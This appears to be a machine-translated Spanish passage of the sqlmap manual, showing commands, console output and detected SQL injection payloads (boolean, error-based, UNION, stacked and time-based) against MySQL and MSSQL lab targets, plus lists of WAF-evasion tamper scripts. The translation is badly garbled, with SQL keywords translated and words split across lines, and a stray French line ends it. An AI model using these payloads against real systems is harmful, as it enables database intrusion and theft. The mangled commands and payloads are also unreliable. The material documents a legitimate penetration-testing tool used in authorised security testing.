$ Python sqlmap.py -u "http:? //192.168.21.128/sqlmap/mysql/get_int.php Ca = 17
& usar \
r = foo & id = 1 "--batch --smart
[...]
[Xx: xx: 14] [INFO] prueba si el parmetro GET 'ca' es dinmico
[Xx: xx: 14] [ADVERTENCIA] GET parmetro 'CA' no aparece dinmico
[Xx: xx: 14] [ADVERTENCIA] heurstica (bsicos) prueba muestra que se interponen
parmetro 'ca' podra
no ser inyectable
[Xx: xx: 14] [INFO] saltarse parmetro GET 'ca'
[Xx: xx: 14] [INFO] prueba si el parmetro GET "usuario" es dinmico
[Xx: xx: 14] [ADVERTENCIA] Parmetro de "usuario" no aparece dinmico
[Xx: xx: 14] [ADVERTENCIA] heurstica (bsicos) prueba muestra que se interponen
parmetro "usuario" Migh
t no sea inyectable
[Xx: xx: 14] [INFO] saltarse parmetro GET "usuario"
[Xx: xx: 14] [INFO] prueba si el parmetro GET 'id' es dinmico
[Xx: xx: 14] [INFO] que confirma que el parmetro GET 'id' es dinmico
[Xx: xx: 14] [INFO] GET parmetro "id" es dinmico
[Xx: xx: 14] [ADVERTENCIA] valor reflectante (s) encontrado y filtrado a cabo
[Xx: xx: 14] [INFO] heurstica (bsicos) prueba muestra que se interponen
parmetro 'id' podra ser
inyectable (posible DBMS: 'MySQL')
[Xx: xx: 14] [INFO] pruebas de inyeccin SQL en GET parmetro 'id'
prueba heurstica (anlisis) mostr que el DBMS de back-end podran ser 'MySQL'.
Vos si
quiera saltarse las cargas tiles de ensayo especficos para otros DBMS? [Y / n]
Y
desea incluir todas las pruebas para extender proporcionado nivel 'MySQL' (1) y
ri
sk (1)? [Y / n] Y
[Xx: xx: 14] 'basado en booleano Y ciega - WHERE o HAVING' [INFO] pruebas
[Xx: xx: 14] [INFO] GET parmetro "id" es "y ciega basada en booleano - WHERE o
HAVI
clusula NG 'inyectable
[Xx: xx: 14] Las pruebas de 'MySQL> [INFO] = 5.0 y basado en el error - clusula
WHERE o HAVING
'
[Xx: xx: 14] [INFO] GET parmetro 'id' es 'MySQL> = 5.0 y basada en el error -
WHERE o
clusula HAVING inyectable '
[XX: XX: 14] [info] pruebas 'inline' consultas MySQL
[xx: xx: 14] [info] ensayo MySQL 5.0.11> consultas apilados '
[Xx: xx: 14] [INFO] pruebas 'MySQL <5.0.12 consultas apiladas (consulta pesada)'
[Xx: xx: 14] [INFO] pruebas 'MySQL> 5.0.11 y ciega basada en el tiempo'
[Xx: xx: 24] [INFO] GET parmetro 'id' es 'MySQL> 5.0.11 y ciega basada en el
tiempo' en
jectable
[xx: xx: 24] [info] pruebas 'MySQL consulta de unin (NULL) - del 1 al 20
columnas'
[Xx: xx: 24] [INFO] rangos que se extienden de forma automtica para la consulta
UNION tecn inyeccin
pruebas iQue ya que hay al menos otra tcnica de inyeccin potencial encontrado
[Xx: xx: 24] [INFO] ORDER BY tcnica parece ser utilizable. Esto debera reducir
la
el tiempo necesario para encontrar el nmero correcto de columnas de la
consulta. que se extiende de forma automtica t
que cubre la prueba actual de la tcnica de inyeccin consulta UNION
[Xx: xx: 24] [INFO] URL de destino parece tener 3 columnas en la consulta
[Xx: xx: 24] [INFO] GET parmetro 'id' es 'MySQL consulta de unin (NULL) - del
1 al 20 colu
MNS inyectable '
[...]

Seleccionar (o saltar) pruebas de cargas y / o


ttulos
Opcin --test-filtro
En caso de que desea filtrar las pruebas por parte de sus cargas tiles y / o ttulos
que puede utilizar esta opcin. Por ejemplo, si desea probar todas las cargas que
tienen FILA palabra clave dentro, se puede utilizar --test-filter = FILA .
Ejemplo frente a un objetivo de MySQL:
$ Python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --b
\
atch --test-filter = FILA
[...]
[Xx: xx: 39] [INFO] GET parmetro "id" es dinmico
[Xx: xx: 39] [ADVERTENCIA] valor reflectante (s) encontrado y filtrado a cabo
[Xx: xx: 39] [INFO] heurstica (bsicos) prueba muestra que se interponen
parmetro 'id' podra ser
inyectable (posible DBMS: 'MySQL')
[Xx: xx: 39] [INFO] pruebas de inyeccin SQL en GET parmetro 'id'
[Xx: xx: 39] Las pruebas de 'MySQL> [INFO] = 4,1 y basados en los errores -
clusula WHERE o HAVING
'
[Xx: xx: 39] [INFO] GET parmetro 'id' es 'MySQL> = 4.1 y basada en el error -
WHERE o
clusula HAVING inyectable '
GET parmetro 'id' es vulnerable. Quieres seguir midindose los dems (si lo
hay
)? [S / N] N
sqlmap identific los siguientes puntos de inyeccin con un total de 3 HTTP (s)
reque
STS:
---
Lugar: GET
Parmetro: id
a base de error: Tipo
Ttulo: MySQL> = 4.1 y basada en el error - WHERE o HAVING
Carga til: id = 1 y la fila (4959,4971)> (SELECT COUNT (*), CONCAT
(0x3a6d70623a, (SELEC
T (C
CUANDO ASE (4959 = 4959) then 1 else 0 END)), 0x3a6b7a653a, PISO (RAND (0) *
2)) x FRO
SRA
ELECTO 4706 UNION SELECT 3536 UNION SELECT 7442 UNION SELECT 3470) GROUP BY
x)
---
[...]
Opcin --test-skip = TEST
En caso de que desea omitir las pruebas por parte de sus cargas tiles y / o ttulos
que puede utilizar esta opcin. Por ejemplo, si desea omitir todas las cargas que
tienen REFERENCIA palabra clave dentro, se puede utilizar --test-skip = PUNTO DE
REFERENCIA .

shell interactiva sqlmap


Cambiar: --sqlmap-shell
Mediante el uso de interruptor de --sqlmap-shell de usuario ser presentado con la
cscara sqlmap interactiva que cuenta la historia de todas las carreras anteriores
con opciones y / o interruptores usados:
$ Python sqlmap.py --sqlmap-shell
sqlmap-shell> -u "http://testphp.vulnweb.com/artists.php?artist=1" --technique =
\
--batch BEA
_
___ ___ | | _____ ___ ___ {1.0-dev-2188502}
| _ - | . | | | . '| . |
| ___ | _ | _ | _ | _ | _ | __, | _ |
| _ | | _ | http://sqlmap.org

[!] Aviso legal: Uso de sqlmap para atacar objetivos sin previo mutuo
consentimiento es ilegal. Es responsabilidad del usuario final a obedecer todas
las leyes
locales, estatales y las leyes federales. Los desarrolladores no asumen ninguna
responsabilidad y no son respon
sable de cualquier mal uso o dao causado por este programa

[*] A partir de las xx: xx: 11

[Xx: xx: 11] [INFO] comprobar la conexin a la URL de destino


[Xx: xx: 12] [INFO] prueba si la URL de destino es estable
[Xx: xx: 13] [INFO] URL de destino es estable
[Xx: xx: 13] [INFO] prueba si el parmetro GET "artista" es dinmico
[Xx: xx: 13] [INFO] confirmando "artista" que el parmetro GET es dinmico
[Xx: xx: 13] [INFO] Parmetro de "artista" es dinmico
[Xx: xx: 13] [INFO] heurstica (bsicos) prueba muestra que se interponen
parmetro "artista" podra
ser inyectable (posible DBMS: 'MySQL')
[Xx: xx: 13] [INFO] pruebas de inyeccin SQL en "artista" parmetro GET
parece que el back-end MySQL DBMS es ''. Quieres saltar cargas tiles de ensayo
sp
ecific para otros DBMSes? [Y / n] Y
para las pruebas restantes, desea incluir todas las pruebas para 'MySQL' que se
extiende
proporcionado (1) Los valores de nivel (1) y el riesgo? [Y / n] Y
[Xx: xx: 13] 'basado en booleano Y ciega - WHERE o HAVING' [INFO] pruebas
[Xx: xx: 13] [INFO] GET parmetro 'artista' parece ser 'Y ciega basada en
booleano -
WHERE o HAVING 'inyectable
[Xx: xx: 13] [INFO] pruebas 'MySQL> = 5.0 y basada en el error - Cuando, en
vista, B ORDEN
Y o clusula GROUP BY '
[Xx: xx: 13] [INFO] pruebas 'MySQL> = 5.0 o basado en el error - Cuando, en
vista, ORDER BY
o clusula GROUP BY '
[Xx: xx: 13] [INFO] pruebas 'MySQL> = 5.1 y basada en el error - Cuando, en
vista, B ORDEN
Y o clusula GROUP BY (EXTRACTVALUE) '
[Xx: xx: 13] [INFO] pruebas 'MySQL> = 5.1 o basado en el error - Cuando, en
vista, ORDER BY
o clusula GROUP BY (EXTRACTVALUE) '
[Xx: xx: 14] [INFO] pruebas 'MySQL> = 5.1 y basada en el error - Cuando, en
vista, B ORDEN
Y o clusula GROUP BY (UPDATEXML) '
[Xx: xx: 14] [INFO] pruebas 'MySQL> = 5.1 o basado en el error - Cuando, en
vista, ORDER BY
o clusula GROUP BY (UPDATEXML) '
[Xx: xx: 14] [INFO] pruebas 'MySQL> = 5.5 y basada en el error - Cuando, en
vista, B ORDEN
Y o clusula GROUP BY (EXP) '
[Xx: xx: 14] [INFO] pruebas 'MySQL> = 5.5 o basado en el error - WHERE, HAVING
(E
XP) '
[Xx: xx: 14] [INFO] pruebas 'MySQL> = 5.5 y basada en el error - Cuando, en
vista, B ORDEN
Y o clusula GROUP BY (BIGINT sin signo) '
[Xx: xx: 14] [INFO] pruebas 'MySQL> = 5.5 o basado en el error - WHERE, HAVING
(B
IGINT signo) '
[Xx: xx: 14] [INFO] pruebas 'MySQL> = 4.1 y basada en el error - Cuando, en
vista, B ORDEN
Y o clusula GROUP BY '
[Xx: xx: 14] [INFO] pruebas 'MySQL> = 4.1 o basado en el error - WHERE, HAVING'
[Xx: xx: 14] [INFO] pruebas 'MySQL o basados en el error - WHERE o HAVING'
[Xx: xx: 14] [INFO] pruebas 'MySQL> = 5.1 basado en el error - PROCEDIMIENTO DE
ANLISIS (EXTRACTO
VALOR)'
[Xx: xx: 14] [INFO] pruebas 'MySQL> = 5.0 error basado en - Parmetro
reemplazar'
[Xx: xx: 14] [INFO] pruebas 'MySQL> = 5.1 basado en el error - Parmetro
reemplazar (EXTRACTO
VALOR)'
[Xx: xx: 15] [INFO] pruebas 'MySQL> = 5.1 basado en el error - Parmetro
reemplazar (UPDATEX
ML) '
[Xx: xx: 15] [INFO] pruebas 'MySQL> = 5.5 a errores basa - Parmetro reemplazar
(EXP)'
[Xx: xx: 15] [INFO] pruebas 'MySQL> = 5.5 basado en el error - Parmetro
reemplazar (BIGINT
NO FIRMADO)'
[xx: xx: 15] [info] pruebas 'UNION Genrico consulta (NULL) - del 1 al 20
columnas'
[Xx: xx: 15] [INFO] rangos que se extienden de forma automtica para la consulta
UNION tecn inyeccin
pruebas iQue ya que hay al menos otra tcnica (potencial) encontrado
[Xx: xx: 15] [INFO] ORDER BY tcnica parece ser utilizable. Esto debera reducir
la
el tiempo necesario para encontrar el nmero correcto de columnas de la
consulta. que se extiende de forma automtica t
que cubre la prueba actual de la tcnica de inyeccin consulta UNION
[Xx: xx: 15] [INFO] URL de destino parece tener 3 columnas en la consulta
[Xx: xx: 16] [INFO] Parmetro de "artista" es "UNIN Genrico consulta (NULL) -
del 1 al 2
0 inyectable columnas '
Parmetro de la "artista" es vulnerable. Quieres seguir midindose los dems
(si
alguna)? [S / N] N
sqlmap identific el siguiente punto (s) de inyeccin con un total de 39 HTTP
(s) de re
misiones:
---
Parmetro: artista (GET)
Tipo: ciega a base booleana
Ttulo: Y booleana basada en la ciega - WHERE o HAVING
Carga til: Artista = 1 AND 5707 = 5707

Tipo: consulta UNION


Ttulo: consulta UNION Genrico (NULL) - 3 columnas
Carga til: Artista = -7,983 UNION ALL SELECT CONCAT
(0x716b706271,0x6f6c506a7473764
26d58446f634454616a4c647a6c6a69566e584e454c64666f6861466e697a5069,0x716a786a71),
NULL, NULL-- -
---
[Xx: xx: 16] [INFO] MySQL prueba
[Xx: xx: 16] [INFO] confirmando MySQL
[Xx: xx: 16] [INFO] el back-end DBMS es MySQL
La tecnologa de aplicaciones web: Nginx, PHP 5.3.10
back-end de DBMS: MySQL> = 5.0.0
[Xx: xx: 16] [INFO] datos captados registran en archivos de texto en
"/home/stamparm/.sqlma
p / salida / testphp.vulnweb.com '
sqlmap-shell> -u "http://testphp.vulnweb.com/artists.php?artist=1" --banner
_
___ ___ | | _____ ___ ___ {1.0-dev-2188502}
| _ - | . | | | . '| . |
| ___ | _ | _ | _ | _ | _ | __, | _ |
| _ | | _ | http://sqlmap.org

[!] Aviso legal: Uso de sqlmap para atacar objetivos sin previo mutuo
consentimiento es ilegal. Es responsabilidad del usuario final a obedecer todas
las leyes
locales, estatales y las leyes federales. Los desarrolladores no asumen ninguna
responsabilidad y no son respon
sable de cualquier mal uso o dao causado por este programa

[*] A partir de las xx: xx: 25

[Xx: xx: 26] [INFO] reanudar 'mysql' back-end DBMS


[Xx: xx: 26] [INFO] comprobar la conexin a la URL de destino
sqlmap reanud el siguiente punto (s) de inyeccin de sesin almacenada:
---
Parmetro: artista (GET)
Tipo: ciega a base booleana
Ttulo: Y booleana basada en la ciega - WHERE o HAVING
Carga til: Artista = 1 AND 5707 = 5707

Tipo: consulta UNION


Ttulo: consulta UNION Genrico (NULL) - 3 columnas
Carga til: Artista = -7,983 UNION ALL SELECT CONCAT
(0x716b706271,0x6f6c506a7473764
26d58446f634454616a4c647a6c6a69566e584e454c64666f6861466e697a5069,0x716a786a71),
NULL, NULL-- -
---
[Xx: xx: 26] [INFO] el back-end DBMS es MySQL
[Xx: xx: 26] [INFO] bandera ir a buscar
La tecnologa de aplicaciones web: Nginx, PHP 5.3.10
back-end DBMS sistema operativo: Linux Ubuntu
DBMS de back-end: MySQL 5
banner: '5.1.73-0ubuntu0.10.04.1'
[Xx: xx: 26] [INFO] datos captados registran en archivos de texto en
"/home/stamparm/.sqlma
p / salida / testphp.vulnweb.com '
sqlmap-shell> exit

sencillo asistente para los usuarios principiantes


Cambiar: --wizard
Para los usuarios principiantes hay una interfaz de asistente que utiliza un sencillo
flujo de trabajo con el menor posible de preguntas. Si el usuario simplemente entra
URL de destino y utiliza respuestas por defecto (por ejemplo, pulsando Enter ) que
debe tener un entorno de ejecucin sqlmap configurar correctamente por el final
del flujo de trabajo.
Ejemplo frente a un objetivo de Microsoft SQL Server:
$ Python sqlmap.py --wizard

sqlmap / 1.0-dev-2defc30 - inyeccin SQL automtica y una herramienta de


base de datos pblica de adquisicin
http://sqlmap.org

[!] Aviso legal: Uso de sqlmap para atacar objetivos sin previo mutuo
consentimiento es ilegal. Es responsabilidad del usuario final a obedecer todas
las leyes
locales, estatales y las leyes federales. Los desarrolladores no asumen ninguna
responsabilidad y no son respon
sable de cualquier mal uso o dao causado por este programa

[*] A partir de las xx: xx: 26

Por favor, introduzca la URL de destino completo (-u):


http://192.168.21.129/sqlmap/mssql/iis/get_in
t.asp? id = 1
datos POST (--Hojas) [Enter para Ninguno]:
dificultad para inyeccin (--level / - riesgo). Por favor seleccione:
[1] Normal (predeterminado)
[2] Medium
[3] duro
> 1
Enumeracin (--banner / - actual del usuario / etc). Por favor seleccione:
[1] bsico (por defecto)
[2] Inteligente
[3] Todos
> 1

sqlmap se est ejecutando, por favor espere ..

prueba heurstica (anlisis) mostr que el DBMS de back-end podran ser


"Microsoft SQL S
erver '. Quieres saltar cargas tiles de ensayo especficos para otros DBMS? [Y
/ n] Y
desea incluir todas las pruebas para 'Microsoft SQL Server' que se extiende
proporcionado l
evel (1) y el riesgo (1)? [Y / n] Y
GET parmetro 'id' es vulnerable. Quieres seguir midindose los dems (si lo
hay
)? [S / N] N
sqlmap identific los siguientes puntos de inyeccin con un total de 25 HTTP (s)
requ
EST:
---
Lugar: GET
Parmetro: id
Tipo: ciega a base booleana
Ttulo: Y booleana basada en la ciega - WHERE o HAVING
Carga til: id = 1 AND 2986 = 2986

a base de error: Tipo


Ttulo: Microsoft SQL Server / Sybase y basada en el error - WHERE o HAVING
Carga til: id = 1 AND 4847 = CONVERTIR (INT, (CHAR (58) + CHAR (118) + CHAR
(114) + CHAR (100) + C
HAR (58) + (SELECT (CASO CUANDO (4847 = 4847) ENTONCES CHAR (49) ELSE CHAR (48)
FIN)) + CHAR (58
) + CHAR (111) + CHAR (109) + CHAR (113) + CHAR (58)))

Tipo: consulta UNION


Ttulo: consulta UNION Genrico (NULL) - 3 columnas
Carga til: id = 1 UNION ALL SELECT NULL, NULL, CHAR (58) + CHAR (118) +
CHAR (114) + CHAR (1
00) + CHAR (58) + CHAR (70) + CHAR (79) + CHAR (118) + CHAR (106) + CHAR (87) +
CHAR (101) + CHAR (119) +
CHAR (115) + CHAR (114) + CHAR (77) + CHAR (58) + CHAR (111) + CHAR (109) + CHAR
(113) + CHAR (58) -

Tipo: apilada consultas


Ttulo: consultas de Microsoft SQL Server / Sybase apiladas
Carga til: id = 1; WAITFOR RETRASO '0: 0: 5' -

Tipo: Y / O-tiempo basado ciegos


ciega basada en el tiempo-Microsoft SQL Server / Sybase: Ttulo
Carga til: id = 1 WAITFOR RETRASO '0: 0: 5' -

Tipo: consulta en lnea


Ttulo: / Sybase consultas en lnea de Microsoft SQL Server
Carga til: id = (SELECT CHAR (58) + CHAR (118) + CHAR (114) + CHAR (100) +
CHAR (58) + (SELECT
(CASO CUANDO (6382 = 6382) ENTONCES CHAR (49) ELSE CHAR (48) FIN)) + CHAR (58) +
CHAR (111) + CHAR
(109) + CHAR (113) + CHAR (58))
---
sistema operativo del servidor Web: Windows XP
La tecnologa de aplicaciones web: ASP, Microsoft IIS 5.1
back-end sistema operativo DBMS: Windows XP Service Pack 2
DBMS de back-end: Microsoft SQL Server 2005
bandera:
---
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
Oct 14 de de 2005 00:33:37
Derechos de autor (c) 1988-2005 Microsoft Corporation
Express Edition en Windows NT 5.1 (Build 2600: Service Pack 2)
---
usuario actual: 'sa'
base de datos actual: 'testdb'
DBA usuario actual es: Verdadero

[*] Cerrar desde xx: xx: 52

MySQL

space2randomblank,
unionalltounion
unmagicquotes
versionedkeywords
versionedmorekeywords
xforwardedforbetween
bluecoat
charencode
charunicodeencode
concat2concatws
equaltolike
greatest
halfversionedmorekeywords
ifnull2ifisnull
space2morehash
space2mysqldash
space2plus
modsecurityversioned
modsecurityzeroversioned
multiplespaces
securesphere
space2comment
space2hash
nonrecursivereplacement
percentage
randomcase

MSSQL:

sp_password
space2comment
space2dash
space2mssqlblank
space2mysqldash
space2plus
space2randomblank
charencode
charunicodeencode
equaltolike
greatest
unionalltounion
unmagicquotes
multiplespaces
nonrecursivereplacement
percentage
randomcase
securesphere

MSAccess:

modsecurityversioned
modsecurityzeroversioned
equaltolike
greatest
halfversionedmorekeywords
nonrecursivereplacement
percentage
randomcase
securesphere
between
bluecoat
charencode
charunicodeencode
concat2concatws
space2comment
space2hash
space2morehash
space2mysqldash
space2plus
space2randomblank
unionalltounion
unmagicquotes
versionedkeywords
versionedmorekeywords
ifnull2ifisnull
multiplespaces

PostgreSQL:

xforwardedfor
space2comment
space2plus
space2randomblank
between
charencode
charunicodeencode
equaltolike
greatest
multiplespaces
nonrecursivereplacement
percentage
randomcase
securesphere
between

SQLite:

space2plus
unionalltounion
unmagicquotes
xforwardedfor
ifnull2ifisnull
randomcase
securesphere
space2comment
space2dashmmultiplespaces
nonrecursivereplacement

Vous aimerez peut-être aussi